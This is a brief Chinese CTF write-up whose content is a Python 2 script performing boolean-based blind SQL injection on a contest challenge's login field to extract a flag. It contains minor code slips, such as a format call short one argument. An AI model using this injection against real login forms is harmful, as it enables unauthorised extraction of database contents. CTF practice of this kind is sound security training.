2020年新春战役网络安全公益赛-web-简单的招聘系统writeup

#coding:utf-8
import requests
import urllib2
import urllib

#先注册用户0密码也为0
url='http://f906e09073974d7e965fe0a03d95af848e6b0735a3c34a46.changame.ichunqiu.com/index.php'
sql1="0' and ascii(substr((select flaaag from flag limit {},1),1))={}#"

def Req(sql):
    data={'lname':sql,'lpass':'0'}
    try:
        data=urllib.urlencode(data)
        r=urllib2.Request(url,data)
        b=urllib2.urlopen(r)
        c=str(b.read())
        if  'zhaopin.php' in c:
            print data
            return 1
        else:
            return 2
    except:
        print("错误点")
        return 3

def shu():
    for i in range(10):
        a=Req(sql1.format(i))
        if a==1:
            print "result:"+str(i)
            break

def name():
    name=''
    for i in range(0,60):
        for b in range(0,127):
            c=sql1.format(i,b)
            a=Req(c)
            print c
            if a==1:
                name+=chr(b)
                print name
                break
            if a==3:
                b-=1

name()
   

Web 网络安全